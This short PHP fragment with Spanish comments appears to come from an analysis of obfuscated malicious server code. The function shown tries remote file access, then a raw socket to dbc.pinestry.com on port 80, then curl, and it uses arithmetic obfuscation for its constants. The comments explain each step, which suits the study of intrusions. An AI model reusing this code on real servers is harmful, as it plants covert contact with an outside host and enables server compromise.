// Esta funcion comprueba algunas funcionalidades disponibles en el servidor.
// Dependiendo de estas, llama a l__1 (acceso remoto a ficheros), l__2 (usando sockets)
// y l__3 (usando curl)
function l__0($_9){
// El round es igual a 1
// Comprueba si la instalacion de PHP tiene habilidata el acceso a remoto a ficheros
// usando FTP o HTTP
if(ini_get(allow_url_fopen) == round(0+0.2+0.2+0.2+0.2+0.2)){
return l__1($_9);
} else {
// Si el acceso remoto a ficheros no esta habilitado, primero intenta abrir
// un socket y llama a l__2 y si no se abre, mira si la funcion curl_init
// existe, si existe llama a l__3
$_10=parse_url(ADMIN_REDIR_URL);
// Abre un socket a dbc.pinestry.com por el puerto 80, con un timeout de 15 segundos
if ( $_11 = @fsockopen($_10[host],round(0+40+40),$_12,$_13,round(0+3.75+3.75+3.75+3.75))) {
return l__2($_11,$_10['host'],$_10['path'],$_9);
} elseif (@function_exists(curl_init)) {
return l__3($_9);
}
}
}